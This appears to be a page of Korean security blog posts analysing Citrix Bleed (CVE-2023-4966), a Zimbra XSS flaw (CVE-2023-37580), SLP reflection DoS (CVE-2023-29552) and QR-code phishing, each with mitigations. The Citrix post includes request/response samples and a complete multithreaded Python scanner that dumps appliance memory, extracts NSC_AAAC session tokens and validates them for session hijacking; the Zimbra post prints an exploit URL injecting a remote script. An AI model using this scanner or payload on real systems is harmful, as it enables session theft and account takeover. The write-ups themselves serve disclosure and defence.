※ NetScaler ADC 및 NetScaler Gateway 버전 12.1은 EOL(End-of-Life) 더욱 취약함

 

2.1 취약점 상세 [5][6][7]

- NetScaler ADC 및 Gateway 제품은 NetScaler 패킷 처리 엔진(nsppe)을 사용하여 TCP/IP 연결 및 HTTP 서비스를 처리

> 취약한 버전의 제품에서 OpenID Connect Discovery 엔드포인트를 구현하는 nsspe 바이너리에서 취약점 발생

 

- 아래 함수는 OpenID 구성을 위한 JSON 페이로드를 생성하고 snprintf()를 사용해 페이로드에 호스트 이름을 삽입

> snprintf()의 반환값 iVar3를 ns_vpn_send_response에 의해 클라이언트에 전송되는 바이트 수를 결정하는 데 사용되기 때문에 발생

> snprintf가 버퍼에 쓴 바이트 수를 반환하지 않기 때문에 발생

“snprintf가 자동으로 문자열을 잘라낼 때, snprintf가 작성한 바이트의 수에 대한 정보는 되돌려주지 않습니다. 오히려 아웃풋 버퍼가 충분한 크기일 때 결과로 나올 법한 바이트의 수를 되돌려주죠.” [8]

iVar3 = snprintf(print_temp_rule,0x20000,
               "{\"issuer\": \"https://%.*s\", \"authorization_endpoint\": \"https://%.*s/oauth/ idp/login\", \"token_endpoint\": \"https://%.*s/oauth/idp/token\", \"jwks_uri\":  \"https://%.*s/oauth/idp/certs\", \"response_types_supported\": [\"code\", \"toke n\", \"id_token\"], \"id_token_signing_alg_values_supported\": [\"RS256\"], \"end _session_endpoint\": \"https://%.*s/oauth/idp/logout\", \"frontchannel_logout_sup ported\": true, \"scopes_supported\": [\"openid\", \"ctxs_cc\"], \"claims_support ed\": [\"sub\", \"iss\", \"aud\", \"exp\", \"iat\", \"auth_time\", \"acr\", \"amr \", \"email\", \"given_name\", \"family_name\", \"nickname\"], \"userinfo_endpoin t\": \"https://%.*s/oauth/idp/userinfo\", \"subject_types_supported\": [\"public\"]}"
               ,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8);
authv2_json_resp = 1;
iVar3 = ns_vpn_send_response(param_1,0x100040,print_temp_rule,iVar3);

 

- 취약한 URL

hxxtps://<Gateway or ADC IP address>/oauth/idp/.well-known/openid-configuration

 

- 공격자는 버퍼 크기 0x20000 바이트 를 초과하는 응답을 얻는 요청을 전송

> 해당 요청에 대한 응답으로 메모리값이 노출되며, 대부분 Null 바이트였으나 유의미한 정보가 포함되어 있음

GET /oauth/idp/.well-known/openid-configuration HTTP/1.1
Host: a <repeated 24812 times>
Connection: close

HTTP/1.1 200 OK
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Length: 147441
Cache-control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: application/json; charset=utf-8
X-Citrix-Application: Receiver for Web

{"issuer": "https://aaaaa ...<omitted>... aaaaaaaaaaaaaaaaí§¡
ð
í§¡-ª¼tÙÌåDx013.1.48.47à
d98cd79972b2637450836d4009793b100c3a01f2245525d5f4f58455e445a4a42HTTP/1.1 200 OK
Content-Length: @@@@@
Encode:@@@
Cache-control: no-cache
Pragma: no-cache
Content-Type: text/html
Set-Cookie: NSC_AAAC=@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@;Secure;HttpOnly;Path=/

{"categories":[],"resources":[],"subscriptionsEnabled":false,"username":null}
ð
å
å
PÏÏ
H¡
éÒÏ
eGÁ"RDEFAULT
ò #pack200-gzip
compressdeflategzip
dentity
þÿÿÿÿÿ
©VPN_GLOBALÿÿÿÿÿÿ   è"AAA_PARAMí

 

- 위 응답에서 확인한 유의미한 정보인 쿠키(NSC_AAAC)를 이용해 유효한 세션 쿠키인지 확인이 가능

> 모든 NetScaler 인스턴스가 동일한 종류의 인증을 사용하도록 구성되어 있지는 않음

> 하지만, 테스트한 대부분의 인스턴스에서 32 바이트 또는 65 바이트 길이의 16진수 문자열이 발견

POST /logon/LogonPoint/Authentication/GetUserName HTTP/1.1
Host: 192.168.1.51
Cookie: NSC_AAAC=59d2be99be7a01c9fb10110f42b188670c3a01f2245525d5f4f58455e445a4a42
Content-Length: 0
Connection: close


HTTP/1.1 200 OK
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Length: 4
Cache-control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: text/plain; charset=utf-8
X-Citrix-Application: Receiver for Web

testuser1

 

2.2 PoC [9]

① URL "/oauth/idp/.well-known/openid-configuration"에 GET 메소드 요청을 전송

> 메모리 덤프 시도

② 요청에 대한 서버의 응답에서 유의미한 정보(NSC_AAAC: 세션토큰) 유무 확인

③ NSC_AAAC 헤더를 설정해 "/logon/LogonPoint/Authentication/GetUserName" URL에 POST 메소드 요청 전송

> 해당 세션 토큰이 유효한지 확인

import re
import sys
import argparse
import requests

from urllib.parse import urlparse
from rich.console import Console
from alive_progress import alive_bar
from typing import List, Tuple, Optional, TextIO
from concurrent.futures import ThreadPoolExecutor, as_completed

warnings = requests.packages.urllib3
warnings.disable_warnings(warnings.exceptions.InsecureRequestWarning)

class CitrixMemoryDumper:
    SESSION_PATTERN = re.compile(rb'(?=([a-f0-9]{65}))')
    
    def __init__(self):
        self.console = Console()
        self.parser = argparse.ArgumentParser(description='Citrix ADC Memory Dumper')
        self.setup_arguments()
        self.results: List[Tuple[str, str]] = []
        self.output_file: Optional[TextIO] = None
        if self.args.output:
            self.output_file = open(self.args.output, 'w')

    def setup_arguments(self) -> None:
        self.parser.add_argument('-u', '--url', help='The Citrix ADC / Gateway target (e.g., https://192.168.1.200)')
        self.parser.add_argument('-f', '--file', help='File containing a list of target URLs (one URL per line)')
        self.parser.add_argument('-o', '--output', help='File to save the output results')
        self.parser.add_argument('-v', '--verbose', action='store_true', help='Enable verbose mode')
        self.parser.add_argument('--only-valid', action='store_true', help='Only show results with valid sessions')
        self.args = self.parser.parse_args()
        
    def print_results(self, header: str, result: str) -> None:
        if self.args.only_valid and "[+]" not in header:
            return

        formatted_msg = f"{header} {result}"
        self.console.print(formatted_msg, style="white")
        if self.output_file:
            self.output_file.write(result + '\n')

    def normalize_url(self, url: str) -> str:
        if not url.startswith("http://") and not url.startswith("https://"):
            url = f"https://{url}"
        
        parsed_url = urlparse(url)
        normalized_url = f"{parsed_url.scheme}://{parsed_url.netloc}"
        return normalized_url

    def dump_memory(self, url: str) -> None:
        full_url = self.normalize_url(url)
        headers = {
            "Host": "a" * 24576
        }
        try:
            r = requests.get(
                f"{full_url}/oauth/idp/.well-known/openid-configuration",
                headers=headers,
                verify=False,
                timeout=10,
            )
            
            content_bytes = r.content
            if r.status_code == 200 and content_bytes:
                cleaned_content = self.clean_bytes(content_bytes).replace(b'a'*65, b'')
                
                if self.args.verbose and self.args.url:
                    self.results.append(("[bold blue][*][/bold blue]", f"Memory Dump for {full_url}"))
                    self.results.append(("text", cleaned_content.decode('utf-8', 'ignore')))
                    self.results.append(("[bold blue][*][/bold blue]", "End of Dump\n"))
                
                session_tokens = self.find_session_tokens(content_bytes)
                valid_token_found = False

                for token in session_tokens:
                    if self.test_session_cookie(full_url, token):
                        valid_token_found = True

                if not valid_token_found:
                    if not self.args.only_valid:
                        if self.args.url:
                            self.results.append(("[bold yellow][!][/bold yellow]", f"Partial memory dump but no valid session token found for {full_url}."))
                        else:
                            self.results.append(("[bold green][+][/bold green]", f"Vulnerable to CVE-2023-4966. Endpoint: {full_url}, but no valid session token found."))

            elif self.args.verbose and self.args.url:
                self.results.append(("[bold red][-][/bold red]", f"Could not dump memory for {full_url}."))
        except Exception as e:
            if self.args.verbose and self.args.url:
                self.results.append(("[bold red][-][/bold red]", f"Error processing {full_url}: {str(e)}."))
            
    def clean_bytes(self, data: bytes) -> bytes:
        return b''.join(bytes([x]) for x in data if 32 <= x <= 126)
   
    def find_session_tokens(self, content_bytes: bytes) -> List[str]:
        sessions = [match.group(1).decode('utf-8') for match in self.SESSION_PATTERN.finditer(content_bytes) if match.group(1).endswith(b'45525d5f4f58455e445a4a42')]
        return sessions

    def test_session_cookie(self, url: str, session_token: str) -> bool:
        headers = {
            "Cookie": f"NSC_AAAC={session_token}"
        }
        try:
            r = requests.post(
                f"{url}/logon/LogonPoint/Authentication/GetUserName",
                headers=headers,
                verify=False,
                timeout=10,
            )
            if r.status_code == 200:
                username = r.text.strip()
                self.results.append(("[bold green][+][/bold green]", f"Vulnerable to CVE-2023-4966. Endpoint: {url}, Cookie: {session_token}, Username: {username}"))
                return True
            else:
                return False
        except Exception as e:
            self.results.append(("[bold red][-][/bold red]", f"Error testing cookie for {url}: {str(e)}."))
            return False
        
    def run(self) -> None:
        if self.args.url:
            self.dump_memory(self.args.url)
            for header, result in self.results:
                self.print_results(header, result)
        elif self.args.file:
            with open(self.args.file, 'r') as file:
                urls = file.read().splitlines()
                with ThreadPoolExecutor(max_workers=200) as executor, alive_bar(len(urls), bar='smooth', enrich_print=False) as bar:
                    futures = {executor.submit(self.dump_memory, url): url for url in urls}
                    for future in as_completed(futures):
                        for header, result in self.results:
                            self.print_results(header, result)
                        self.results.clear()
                        bar()
        else:
            self.console.print("[bold red][-][/bold red] URL or File must be provided.", style="white")
            sys.exit(1)
        
        if self.output_file:
            self.output_file.close()

if __name__ == "__main__":
    dumper = CitrixMemoryDumper()
    dumper.run()

 

3. 대응방안

- 벤더사 제공 업데이트 적용 [10][11]

> 해당 취약점 외 DDoS(CVE-2023-4967)을 포함한 업데이트 제공

> 업데이트 버전에서는 snprintf()의 반환값 uVar7이 0x20000 보다 작은 경우에만 응답이 전송되도록 함

제품명 영향받는 버전 해결버전
NetScaler ADC 및 NetScaler Gateway 14.1 14.1-8.50 이전 버전 14.1-8.50
NetScaler ADC 및 NetScaler Gateway 13.1  13.1-49.15 이전 버전 13.1-49.15
NetScaler ADC 및 NetScaler Gateway 13.0 13.0-92.19 이전 버전 13.0-92.19
NetScaler ADC 13.1-FIPS 13.1-37.164 이전 버전 13.1-37.164
NetScaler ADC 12.1-FIPS 12.1-55.300 이전 버전 12.1-55.300
NetScaler ADC 12.1-NDcPP 12.1-55.300 이전 버전 12.1-55.300
uVar7 = snprintf(print_temp_rule,0x20000,
               "{\"issuer\": \"https://%.*s\", \"authorization_endpoint\": \"https://%.*s/oauth/ idp/login\", \"token_endpoint\": \"https://%.*s/oauth/idp/token\", \"jwks_uri\":  \"https://%.*s/oauth/idp/certs\", \"response_types_supported\": [\"code\", \"toke n\", \"id_token\"], \"id_token_signing_alg_values_supported\": [\"RS256\"], \"end _session_endpoint\": \"https://%.*s/oauth/idp/logout\", \"frontchannel_logout_sup ported\": true, \"scopes_supported\": [\"openid\", \"ctxs_cc\"], \"claims_support ed\": [\"sub\", \"iss\", \"aud\", \"exp\", \"iat\", \"auth_time\", \"acr\", \"amr \", \"email\", \"given_name\", \"family_name\", \"nickname\"], \"userinfo_endpoin t\": \"https://%.*s/oauth/idp/userinfo\", \"subject_types_supported\": [\"public\"]}"
               ,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8);
uVar4 = 0x20;
if (uVar7 < 0x20000) {
    authv2_json_resp = 1;
    iVar3 = ns_vpn_send_response(param_1,0x100040,print_temp_rule,uVar7);
    ...
}

 

- 모니터링 강화

> 로그 파일(/var/log/ns.log. nslog) 점검_외부 IP에서의 접속, 동일 IP의 여려 세션 생성 시도 등

> 취약점 악용 시도 탐지를 위한 규칙 적용

 

4. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2023-4966
[2] https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-325a
[3] https://layer3.tistory.com/11
[4] https://jhkim3624.tistory.com/205
[5] https://www.assetnote.io/resources/research/citrix-bleed-leaking-session-tokens-with-cve-2023-4966
[6] https://www.picussecurity.com/resource/blog/cve-2023-4966-lockbit-exploits-citrix-bleed-in-ransomware-attacks
[7] https://www.mandiant.com/resources/blog/session-hijacking-citrix-cve-2023-4966
[8] https://www.boannews.com/media/news_print.asp?idx=74361

[9] https://github.com/mlynchcogent/CVE-2023-4966-POC

[10] https://support.citrix.com/article/CTX579459/netscaler-adc-and-netscaler-gateway-security-bulletin-for-cve20234966-and-cve20234967
[11] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=1&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=2&categoryCode=&nttId=71231
[12] https://www.boannews.com/media/view.asp?idx=123060&page=1&kind=4
[13] https://www.boannews.com/media/view.asp?idx=123321&page=1&kind=1
[14] https://www.boannews.com/media/view.asp?idx=123993&page=1&kind=1

1. Zimbra Collaboration Suite (ZCS)

- Zimbra, Inc에서 개발한 이메일 서버와 웹 클라이언트를 포함하는 협업 소프트웨어

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2023-37580 [1]

 

- 취약한 버전의 ZCS에서 매개변수에 대한 검증이 부족하여(또는 없어) 발생하는 XSS 취약점

- 미상의 해킹 그룹이 해당 취약점을 이용해 전세계 여러 정부 기관을 익스플로잇

영향받는 버전
ZCS 8.8.15 Patch 41 이전 8.8.X 버전

 

2.1 취약점 상세 [2]

- momoveto 파일의 st 매개변수에대한 입력값 검증이 부족(또는 없어) 발생하는 것으로 판단됨

> 취약 파일 경로: /opt/zimbra/jetty/webapps/zimbra/m/momoveto

> 업데이트 이전 환경을 확인해보면 st 매개변수에대한 검증이 없이 사용되는 것으로 판단됨

<input name="st" type="hidden" value="${param.st}"/>

 

 

- 공격 스크립트 및 디코딩 결과는 다음과 같음

[공격 스크립트]
hxxps://mail.REDACTED[.]com/m/momovetost=acg%22%2F%3E%3Cscript%20src%3D%22hxxps%3A%2F%2Fobsorth%2Eopwtjnpoc%2Eml%2FpQyMSCXWyBWJpIos%2Ejs%22%3E%3C%2Fscript%3E%2F%2F

[디코딩]
hxxps://mail.REDACTED[.]com/m/momoveto?st=acg"/><script src="hxxps://REDACTED/script.js"></script>//

 

 

- 공격자는 익스플로잇 URL이 포함된 메일 전송

> 사용자가 해당 메일의 링크를 클릭할 경우 공격이 진행 [3]
> 사용자 이메일과 첨부파일을 탈취하고, 자동 전달 규칙을 설정해 공격자가 제어하는 이메일 주소로 리다이렉션

 

[사진 2] 익스플로잇 과정 요약 [3]

 

- 서로 다른 미상의 해킹 그룹은 총 4번의 공격 캠페인을 진행

> 캠페인 1(23.07.29): 익스플로잇 URL이 포함된 메일을 전송 및 실행을 유듀해 이메일 탈취 [3]
> 캠페인 2(23.07.11): 특정 조직에 맞춤화되고, 고유한 공식 이메일 주소가 포함된 여러 익스플로잇 URL 전송 [4][5]
> 캠페인 3(23.07.20): 웹 메일 자격증명을 캡쳐하는 피싱페이지로 연결되는 익스플로잇 URL을 포함하는 피싱메일 전송
> 캠페인 4(23.08.25): 짐브라 인증 토큰을 탈취하기 위한 피싱메일 전송

 

3. 대응

- 짐브라는 23.07.05 깃허브에 핫픽스 배포 [6]
> 23.07.13 모든 사서함 노드에 수정 사항을 수동으로 적용하는 방법 공개 [7]
> 23.07.25 공식 패치 발표 [8]

※ escapeXml()를 이용해 st 매개변수에대한 입력값 검증 과정을 추가한 것으로 판단됨

[수동 적용 방법]
① /opt/zimbra/jetty/webapps/zimbra/m/momoveto 파일을 백업 후 편집
② 해당 파일 40번째 줄 매개변수 값 업데이트
> <input name="st" type="hidden" value="${fn:escapeXml(param.st)}"/>

※ 업데이트 이전 값: <input name="st" type="hidden" value="${param.st}"/>

 

4. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2023-37580
[2] https://blog.google/threat-analysis-group/zimbra-0-day-used-to-target-international-government-organizations/amp/
[3] https://www.volexity.com/blog/2022/02/03/operation-emailthief-active-exploitation-of-zero-day-xss-vulnerability-in-zimbra/
[4] https://www.proofpoint.com/us/blog/threat-insight/exploitation-dish-best-served-cold-winter-vivern-uses-known-zimbra-vulnerability
[5] https://www.welivesecurity.com/en/eset-research/winter-vivern-exploits-zero-day-vulnerability-roundcube-webmail-servers/
[6] https://github.com/Zimbra/zm-web-client/commit/874ac8c158532a057b9857c21e1e03853b77ee6b
[7] https://blog.zimbra.com/2023/07/security-update-for-zimbra-collaboration-suite-version-8-8-15/
[8] https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories
[9] https://www.boannews.com/media/view.asp?idx=123874&page=1&kind=1
[10] https://www.dailysecu.com/news/articleView.html?idxno=151326

1. SLP (Service Location Protocol) [1][2]

- 클라이언트가 사전 구성 없이 LAN에서 사용 가능한 서비스를 동적으로 검색 및 통신할 수 있도록 하는 서비스 검색 프로토콜

- 대부분 UDP를 사용하나, 긴 패킷을 전송할 경우 TCP 또한 사용가능하며, UDP와 TCP 모두 427 포트를 사용

- RFC2165에 따르면 해당 프로토콜은 LAN, 엔터프라이즈 네트워크 등 제한된 네트워크에 서비스를 제공하기 위한 것

 

1.1 DRDoS (Distributed Reflective Denial of Service)

- 기존의 DDoS 공격보다 한층 진화된 기법: 근원지 은닉, 향상된 공격 규모 및 피해

- 스푸핑한 IP를 이용하여 정상 서비스를 제공하는 서버들에 요청을 보낸 후 응답을 공격 대상이 받게 하는 것

> 해당 과정을 반복하여 대량의 트래픽을 유발하여, 서비스 거부 상태 등의 장애를 유발

> 정상 서비스를 제공하는 서버를 반사체라고 함

※ 응답과 관련한 추가 정보들이 덧붙여져 패킷의 크기가 증폭되는 것으로 판단됨

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2023-29552 [3]

 

- SLP 서버에 임의의 서비스를 등록한 후 스푸핑된 IP로 요청을 전송공격 대상이 서비스 거부 상태에 빠지게 되는 취약점

> SLP는 제한적인 네트워크를 대상으로 서비스를 제공하기 위해 사용

> 불필요하게 인터넷과 연결된 SLP 서버가 약 54,000개 이상 확인됨 [4]

 

[사진 2] 취약한 SLP 인스턴스

 

- 공격 과정은 다음과 같음

① UDP/427 Port로 서비스하는 SLP 서버 탐색

② SLP 서버에 임의의 서비스 등록

③ IP를 스푸핑하여 ②에서 등록한 서비스 요청

④ ③단계를 반복적으로 수행해 대량의 트래픽 유발

 

- 일반적인 SLP 서버의 응답 크기는 48 ~ 350 Byte

> 요청 크기를 29 Byte로 가정했을 때 약 1.6 ~ 12배 정도 응답이 증폭

 

[사진 3] 서비스 요청 패킷 크기(위) 및 서비스 응답 패킷 크기(아래) 비교 [4]

 

- 서비스 등록과 Reflective를 결합하면 트래픽의 양을 크게 증가시킬 수 있음

> 공격자는 조작된 요청을 통해 최대 2200배 이상의 증폭을 생성할 수 있음

 

[사진 4] 취약점을 악용한 공격 패킷 캡처 [4]

 

3. 대응방안

① SLP 비활성화

② SLP 서버에 대한 접근 통제 및 모니터링 강화

 

4. 참고

[1] https://en.wikipedia.org/wiki/Service_Location_Protocol
[2] https://www.rfc-editor.org/rfc/rfc2165.html
[3] https://nvd.nist.gov/vuln/detail/CVE-2023-29552
[4] https://www.bitsight.com/blog/new-high-severity-vulnerability-cve-2023-29552-discovered-service-location-protocol-slp
[5] https://securityaffairs.com/145295/hacking/slp-flaw-ddos-attacks.html
[6] https://thehackernews.com/2023/11/cisa-alerts-high-severity-slp.html?m=1
[7] https://www.cisa.gov/news-events/alerts/2023/04/25/abuse-service-location-protocol-may-lead-dos-attacks
[8] https://www.boannews.com/media/view.asp?idx=117519&page=1&kind=1

'취약점 > Denial of Service' 카테고리의 다른 글

Loop DoS (CVE-2024-2169)  (0) 2024.03.23
KeyTrap 취약점(CVE-2023-50387)  (0) 2024.02.28
HTTP/2 Rapid Reset DDoS (CVE-2023-44487)  (0) 2023.10.13
2009.07.07 DDoS  (0) 2023.07.06
Anonymous Sudan DDoS  (0) 2023.06.23

1. 개요

- QR코드(Quick Response Code)란 컴퓨터가 생성한 흑백 격자무늬 코드로, 정보를 나타내는 매트릭스 형식의 이차원 코드 [1]

> 기존 바코드의 단점(작은 용량_최대 20여자 숫자 정보만 저장)을 개선해 더 많고 풍부한 정보를 작은 코드에 저장할 수 있게됨

> 동작 과정: QR코드 인식 → 이미지 처리(정보 추출) → 디코딩 및 오류 수정 → 작업 수행

 

- QR코드가 대중화되면서 다양한 장소(카페, 백화점, 서점, 전자출입명부 등)에서 활용됨

QR코드를 인식하기 전 어떤 정보가 확인할 수 없다는 단점
> 이를 악용해, QR코드를 악용한 ‘큐싱(Qshing)’ 등장

 

2. 큐싱(Qshing)

QR코드와 피싱(Phishing)의 합성어로, QR코드로 악성 앱 설치를 유도해 정보 탈취, 소액결재 등 악성 행위가 발생하는 범죄 수법

※ 피싱(Phishing): Private data와 Fishing의 합성어로 피해자를 속여 개인정보 또는 금융정보를 탈취하는 수법

 

- 2023 08~09월 동안 공격이 587%나 증가한 것으로 확인 [3]

- QR코드를 통해 악성 프로그램을 다운받게 하고, 개인정보를 빼내며, 공격 과정은 다음과 같음

① 악성 QR코드 인식
② 악성 URL 접속
③ 악성 앱 설치 유도 및 설치
④ 개인정보 및 금융정보 탈취

 

[그림 1] 큐싱(Qshing) 공격 과정 [4]

 

※ 피싱 관련 범죄 수법의 변화 과정
① 보이스피싱(Voice Phishing)
> 전화를 이용해 피해자를 기망 또는 협박해 개인정보 및 금융정보를 요구하거나, 금전을 이체하도록 유도
> Voice, Private Data, Fishing의 합성어로 Vishing이라고도 불림
> 특정 기관으로 속여 대출 권유, 자금이체 요구하는 경우 진위 여부 확인 등 의심 필요

 

② 스미싱(Smishing)
> SMS와 Phishing의 합성어
> 문자 등에 악성 링크를 포함해 발송하여 클릭을 유도하며, 사용자가 해당 링크에 접근할 경우 악성코드 설치, 개인정보 및 금융정보를 탈취
> 출처가 불분명한 링크 주의, 시각적으로 비슷한 글자 사용 여부 확인 등 주의 필요

 

③ 파밍(Pharming)
> Phishing과 Farming의 합성어
> DNS 서버를 해킹하거나 악성코드를 유포해 사용자가 접근한 사이트와 유사한 가짜 사이트로 접속되도록 해 개인정보를 탈취
> 악성코드를 통해 이뤄지므로 안티바이러스 최신버전 사용, 출처가 불분명한 메일, 웹 사이트 확인시 등 주의 필요

 

④ 큐싱(Qshing)

 

3. 대응방안

- 출처를 알 수 없는 앱의 설치를 허용하지 않도록 스마트폰 설정 변경
- 출처가 불분명한 경우(공공장소, E-mail 등) 인식 금지 (또는 주의)
- QR 코드 링크로 연결된 앱 다운로드 금지 (또는 주의)
- 검증된 공식 마켓에서 앱 다운로드 및 내용, 평한 확인 후 다운로드
- 모바일 백신 앱, 보안이 적용된 QR 스캐너 활용
- QR코드 결제 표준안 준수(국제 표준 준수, QR코드 자체 보안기능 탑재, 위변조방지 특수필름 부착 등) [5]

 

4. 참고

[1] https://www.qrcode.com/ko/
[2] https://nordvpn.com/ko/blog/what-is-a-qr-code/
[3] https://www.hackread.com/qr-code-quishing-check-point-attack-spike/
[4] https://www.kci.go.kr/kciportal/ci/sereArticleSearch/ciSereArtiView.kci?sereArticleSearchBean.artiId=ART002950180
[5] https://www.fsc.go.kr/no010101/73398?srchCtgry=&curPage=262&srchKey=&srchText=&srchBeginDt=&srchEndDt=
[6] https://www.hackread.com/qr-code-quishing-check-point-attack-spike/
[7] https://www.boannews.com/media/view.asp?idx=123158&kind=1&search=title&find=%B1%DE%C1%F5%C7%CF%B4%C2+%C5%B0%BD%CC+%B0%F8%B0%DD%2C+%C5%A5%BE%CB%C4%DA%B5%E5+%BD%BA%C4%B5
[8] https://namu.wiki/w/%EC%A0%84%EA%B8%B0%ED%86%B5%EC%8B%A0%EA%B8%88%EC%9C%B5%EC%82%AC%EA%B8%B0

+ Recent posts